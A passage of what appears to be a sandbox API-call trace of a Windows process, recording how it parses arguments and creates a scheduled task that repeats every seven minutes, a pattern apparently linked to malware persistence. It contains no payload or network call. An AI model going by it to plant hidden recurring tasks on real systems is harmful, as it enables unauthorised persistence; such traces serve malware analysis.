2 [0122.458] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.458] lstrlenW (lpString="f") returned 1 [0122.458] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.458] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|mo|") returned 4 [0122.458] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|f|") returned 3 [0122.458] lstrlenW (lpString="|mo|") returned 4 [0122.458] lstrlenW (lpString="|f|") returned 3 [0122.458] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0122.458] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.458] lstrlenW (lpString="d") returned 1 [0122.458] lstrlenW (lpString="d") returned 1 [0122.458] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.458] lstrlenW (lpString="f") returned 1 [0122.458] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.458] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|d|") returned 3 [0122.458] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|f|") returned 3 [0122.458] lstrlenW (lpString="|d|") returned 3 [0122.458] lstrlenW (lpString="|f|") returned 3 [0122.458] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0122.459] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.459] lstrlenW (lpString="m") returned 1 [0122.459] lstrlenW (lpString="m") returned 1 [0122.459] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.459] lstrlenW (lpString="f") returned 1 [0122.459] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.459] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|m|") returned 3 [0122.459] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|f|") returned 3 [0122.459] lstrlenW (lpString="|m|") returned 3 [0122.459] lstrlenW (lpString="|f|") returned 3 [0122.459] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0122.459] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.459] lstrlenW (lpString="i") returned 1 [0122.459] lstrlenW (lpString="i") returned 1 [0122.459] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.459] lstrlenW (lpString="f") returned 1 [0122.459] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.459] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|i|") returned 3 [0122.459] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|f|") returned 3 [0122.459] lstrlenW (lpString="|i|") returned 3 [0122.459] lstrlenW (lpString="|f|") returned 3 [0122.459] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0122.459] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.459] lstrlenW (lpString="tn") returned 2 [0122.459] lstrlenW (lpString="tn") returned 2 [0122.460] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.460] lstrlenW (lpString="f") returned 1 [0122.460] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.460] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|tn|") returned 4 [0122.460] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|f|") returned 3 [0122.460] lstrlenW (lpString="|tn|") returned 4 [0122.460] lstrlenW (lpString="|f|") returned 3 [0122.460] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0122.460] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.460] lstrlenW (lpString="tr") returned 2 [0122.460] lstrlenW (lpString="tr") returned 2 [0122.460] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.460] lstrlenW (lpString="f") returned 1 [0122.460] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.460] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|tr|") returned 4 [0122.460] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|f|") returned 3 [0122.460] lstrlenW (lpString="|tr|") returned 4 [0122.460] lstrlenW (lpString="|f|") returned 3 [0122.460] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0122.460] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.460] lstrlenW (lpString="st") returned 2 [0122.460] lstrlenW (lpString="st") returned 2 [0122.460] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.460] lstrlenW (lpString="f") returned 1 [0122.460] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.461] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|st|") returned 4 [0122.461] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|f|") returned 3 [0122.461] lstrlenW (lpString="|st|") returned 4 [0122.461] lstrlenW (lpString="|f|") returned 3 [0122.461] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0122.461] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.461] lstrlenW (lpString="sd") returned 2 [0122.461] lstrlenW (lpString="sd") returned 2 [0122.461] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.461] lstrlenW (lpString="f") returned 1 [0122.461] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.461] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|sd|") returned 4 [0122.461] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|f|") returned 3 [0122.461] lstrlenW (lpString="|sd|") returned 4 [0122.461] lstrlenW (lpString="|f|") returned 3 [0122.461] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0122.461] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.461] lstrlenW (lpString="ed") returned 2 [0122.461] lstrlenW (lpString="ed") returned 2 [0122.461] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.461] lstrlenW (lpString="f") returned 1 [0122.461] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.461] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|ed|") returned 4 [0122.461] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|f|") returned 3 [0122.462] lstrlenW (lpString="|ed|") returned 4 [0122.462] lstrlenW (lpString="|f|") returned 3 [0122.462] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0122.462] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.462] lstrlenW (lpString="it") returned 2 [0122.462] lstrlenW (lpString="it") returned 2 [0122.462] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.462] lstrlenW (lpString="f") returned 1 [0122.462] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.462] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|it|") returned 4 [0122.462] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|f|") returned 3 [0122.462] lstrlenW (lpString="|it|") returned 4 [0122.462] lstrlenW (lpString="|f|") returned 3 [0122.462] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0122.462] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.462] lstrlenW (lpString="et") returned 2 [0122.462] lstrlenW (lpString="et") returned 2 [0122.462] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.462] lstrlenW (lpString="f") returned 1 [0122.462] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.462] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|et|") returned 4 [0122.462] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|f|") returned 3 [0122.462] lstrlenW (lpString="|et|") returned 4 [0122.462] lstrlenW (lpString="|f|") returned 3 [0122.462] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0122.463] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.463] lstrlenW (lpString="k") returned 1 [0122.463] lstrlenW (lpString="k") returned 1 [0122.463] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.463] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.463] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|k|") returned 3 [0122.463] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|f|") returned 3 [0122.463] lstrlenW (lpString="|k|") returned 3 [0122.463] lstrlenW (lpString="|f|") returned 3 [0122.463] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0122.463] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.463] lstrlenW (lpString="du") returned 2 [0122.463] lstrlenW (lpString="du") returned 2 [0122.463] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.463] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.463] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|du|") returned 4 [0122.463] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|f|") returned 3 [0122.463] lstrlenW (lpString="|du|") returned 4 [0122.463] lstrlenW (lpString="|f|") returned 3 [0122.463] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0122.463] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.463] lstrlenW (lpString="ri") returned 2 [0122.463] lstrlenW (lpString="ri") returned 2 [0122.463] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.463] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.464] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|ri|") returned 4 [0122.464] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|f|") returned 3 [0122.464] lstrlenW (lpString="|ri|") returned 4 [0122.464] lstrlenW (lpString="|f|") returned 3 [0122.464] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0122.464] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.464] lstrlenW (lpString="z") returned 1 [0122.464] lstrlenW (lpString="z") returned 1 [0122.464] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.464] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.464] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|z|") returned 3 [0122.464] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|f|") returned 3 [0122.464] lstrlenW (lpString="|z|") returned 3 [0122.464] lstrlenW (lpString="|f|") returned 3 [0122.464] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0122.464] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.464] lstrlenW (lpString="f") returned 1 [0122.464] lstrlenW (lpString="f") returned 1 [0122.464] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.464] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.464] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|f|") returned 3 [0122.464] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|f|") returned 3 [0122.464] lstrlenW (lpString="|f|") returned 3 [0122.464] lstrlenW (lpString="|f|") returned 3 [0122.464] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0122.465] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.465] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.465] GetProcessHeap () returned 0x1c180330000 [0122.465] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x20) returned 0x1c18033ba10 [0122.465] _memicmp (_Buf1=0x1c180334880, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.465] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x1c18033bae0, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0122.465] lstrlenW (lpString="MINUTE") returned 6 [0122.465] GetProcessHeap () returned 0x1c180330000 [0122.465] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0xe) returned 0x1c18033aae0 [0122.465] GetThreadLocale () returned 0x409 [0122.465] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0122.516] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.516] GetProcessHeap () returned 0x1c180330000 [0122.516] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x1fc) returned 0x1c18033acd0 [0122.516] GetProcessHeap () returned 0x1c180330000 [0122.516] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x20) returned 0x1c18033b9e0 [0122.516] _memicmp (_Buf1=0x1c180334880, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.516] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x1c18033bae0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0122.517] lstrlenW (lpString="First") returned 5 [0122.517] GetProcessHeap () returned 0x1c180330000 [0122.517] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0xc) returned 0x1c18033aa40 [0122.517] GetProcessHeap () returned 0x1c180330000 [0122.517] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x20) returned 0x1c18033b800 [0122.517] _memicmp (_Buf1=0x1c180334880, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.517] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x1c18033bae0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0122.517] lstrlenW (lpString="Second") returned 6 [0122.517] GetProcessHeap () returned 0x1c180330000 [0122.517] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0xe) returned 0x1c18033aaa0 [0122.517] GetProcessHeap () returned 0x1c180330000 [0122.517] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x20) returned 0x1c18033b530 [0122.517] _memicmp (_Buf1=0x1c180334880, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.517] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x1c18033bae0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0122.517] lstrlenW (lpString="Third") returned 5 [0122.517] GetProcessHeap () returned 0x1c180330000 [0122.517] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0xc) returned 0x1c18033aa60 [0122.517] GetProcessHeap () returned 0x1c180330000 [0122.517] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x20) returned 0x1c18033b470 [0122.517] _memicmp (_Buf1=0x1c180334880, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.517] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x1c18033bae0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0122.517] lstrlenW (lpString="Fourth") returned 6 [0122.517] GetProcessHeap () returned 0x1c180330000 [0122.517] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0xe) returned 0x1c18033a9e0 [0122.517] GetProcessHeap () returned 0x1c180330000 [0122.517] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x20) returned 0x1c18033b6e0 [0122.517] _memicmp (_Buf1=0x1c180334880, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.518] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x1c18033bae0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0122.518] lstrlenW (lpString="Last") returned 4 [0122.518] GetProcessHeap () returned 0x1c180330000 [0122.518] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0xa) returned 0x1c18033a8e0 [0122.518] lstrlenW (lpString="7") returned 1 [0122.518] _wtol (_String="7") returned 7 [0122.518] GetProcessHeap () returned 0x1c180330000 [0122.518] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x20) returned 0x1c18033b320 [0122.518] _memicmp (_Buf1=0x1c180334880, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.518] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x1c18033bae0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0122.518] lstrlenW (lpString="First") returned 5 [0122.518] GetProcessHeap () returned 0x1c180330000 [0122.518] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0xc) returned 0x1c18033a960 [0122.518] _memicmp (_Buf1=0x1c180334880, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.518] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x1c18033bae0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0122.518] lstrlenW (lpString="Second") returned 6 [0122.518] GetProcessHeap () returned 0x1c180330000 [0122.518] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0xe) returned 0x1c18033aac0 [0122.518] _memicmp (_Buf1=0x1c180334880, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.518] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x1c18033bae0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0122.518] lstrlenW (lpString="Third") returned 5 [0122.518] _memicmp (_Buf1=0x1c180334880, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.519] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x1c18033bae0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0122.519] lstrlenW (lpString="Fourth") returned 6 [0122.519] _memicmp (_Buf1=0x1c180334880, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.519] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x1c18033bae0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0122.519] lstrlenW (lpString="Last") returned 4 [0122.519] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x589fedc050, cchData=128 | out: lpLCData="0") returned 2 [0122.519] _memicmp (_Buf1=0x1c180334880, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.519] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x1c18033bae0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0122.519] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0122.519] GetProcessHeap () returned 0x1c180330000 [0122.519] GetProcessHeap () returned 0x1c180330000 [0122.519] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c18033aa40) returned 1 [0122.519] GetProcessHeap () returned 0x1c180330000 [0122.519] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c18033aa40) returned 0xc [0122.519] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c18033aa40) returned 1 [0122.519] GetProcessHeap () returned 0x1c180330000 [0122.519] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x16) returned 0x1c18033ab40 [0122.519] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x589fedc070, cchData=128 | out: lpLCData="0") returned 2 [0122.519] _memicmp (_Buf1=0x1c180334880, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.520] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x1c18033bae0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0122.520] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0122.520] GetProcessHeap () returned 0x1c180330000 [0122.520] GetProcessHeap () returned 0x1c180330000 [0122.520] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c18033aaa0) returned 1 [0122.520] GetProcessHeap () returned 0x1c180330000 [0122.520] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c18033aaa0) returned 0xe [0122.520] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c18033aaa0) returned 1 [0122.520] GetProcessHeap () returned 0x1c180330000 [0122.520] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x16) returned 0x1c18033a860 [0122.520] GetLocalTime (in: lpSystemTime=0x589fedc2a8 | out: lpSystemTime=0x589fedc2a8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x2d, wMilliseconds=0x37d)) [0122.520] lstrlenW (lpString="") returned 0 [0122.520] GetLocalTime (in: lpSystemTime=0x589fedcc98 | out: lpSystemTime=0x589fedcc98*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x2d, wMilliseconds=0x37d)) [0122.520] lstrlenW (lpString="") returned 0 [0122.520] lstrlenW (lpString="") returned 0 [0122.520] lstrlenW (lpString="") returned 0 [0122.520] lstrlenW (lpString="") returned 0 [0122.521] lstrlenW (lpString="7") returned 1 [0122.521] _wtol (_String="7") returned 7 [0122.521] lstrlenW (lpString="") returned 0 [0122.521] lstrlenW (lpString="") returned 0 [0122.521] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0122.531] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0122.767] CoCreateInstance (in: rclsid=0x7ff685139e68*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0x7ff685139e78*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x589fedc9f0 | out: ppv=0x589fedc9f0*=0x1c180585730) returned 0x0 [0122.788] TaskScheduler:ITaskService:Connect (This=0x1c180585730, serverName=0x589fedcae0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x589fedcab0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), domain=0x589fedca90*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x589fedca70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0)) returned 0x0 [0122.819] TaskScheduler:ITaskService:GetFolder (in: This=0x1c180585730, Path=0x0, ppFolder=0x589fedcbd0 | out: ppFolder=0x589fedcbd0*=0x1c1805858e0) returned 0x0 [0122.829] TaskScheduler:ITaskService:NewTask (in: This=0x1c180585730, flags=0x0, ppDefinition=0x589fedcba8 | out: ppDefinition=0x589fedcba8*=0x1c180585960) returned 0x0 [0122.829] ITaskDefinition:get_Actions (in: This=0x1c180585960, ppActions=0x589fedcaf0 | out: ppActions=0x589fedcaf0*=0x1c1805859f0) returned 0x0 [0122.829] IActionCollection:Create (in: This=0x1c1805859f0, Type=0, ppAction=0x589fedcb30 | out: ppAction=0x589fedcb30*=0x1c180585e00) returned 0x0 [0122.830] IUnknown:Release (This=0x1c180585e00) returned 0x1 [0122.830] IUnknown:Release (This=0x1c1805859f0) returned 0x1 [0122.830] ITaskDefinition:get_Triggers (in: This=0x1c180585960, ppTriggers=0x589fedc6a0 | out: ppTriggers=0x589fedc6a0*=0x1c180585cb0) returned 0x0 [0122.830] ITriggerCollection:Create (in: This=0x1c180585cb0, Type=1, ppTrigger=0x589fedc688 | out: ppTrigger=0x589fedc688*=0x1c180585e70) returned 0x0 [0122.830] lstrlenW (lpString="7") returned 1 [0122.830] _vsnwprintf (in: _Buffer=0x589fedc610, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x589fedc608 | out: _Buffer="PT7M") returned 4 [0122.831] ITrigger:get_Repetition (in: This=0x1c180585e70, ppRepeat=0x589fedc680 | out: ppRepeat=0x589fedc680*=0x1c180585f00) returned 0x0 [0122.831] IRepetitionPattern:put_Interval (This=0x1c180585f00, Interval="PT7M") returned 0x0 [0122.831] IUnknown:Release (This=0x1c180585f00) returned 0x1 [0122.831] _vsnwprintf (in: _Buffer=0x589fedc5d0, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x589fedc5a8 | out: _Buffer="2023-09-19T17:15:00") returned 19 [0122.831] ITrigger:put_StartBoundary (This=0x1c180585e70, StartBoundary="2023-09-19T17:15:00") returned 0x0 [0122.831] lstrlenW (lpString="") returned 0 [0122.831] lstrlenW (lpString="") returned 0 [0122.831] lstrlenW (lpString="") returned 0 [0122.831] lstrlenW (lpString="") returned 0 [0122.831] IUnknown:Release (This=0x1c180585e70) returned 0x1 [0122.831] IUnknown:Release (This=0x1c180585cb0) returned 0x1 [0122.831] ITaskDefinition:get_Settings (in: This=0x1c180585960, ppSettings=0x589fedcb30 | out: ppSettings=0x589fedcb30*=0x1c180585b30) returned 0x0 [0122.831] lstrlenW (lpString="") returned 0 [0122.832] IUnknown:Release (This=0x1c180585b30) returned 0x3 [0122.832] GetLocalTime (in: lpSystemTime=0x589fedc9e8 | out: lpSystemTime=0x589fedc9e8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x2e, wMilliseconds=0xce)) [0122.832] ResolveDelayLoadedAPI () returned 0x7ffa78123fa0 [0122.832] GetUserNameExW (in: NameFormat=0x2, 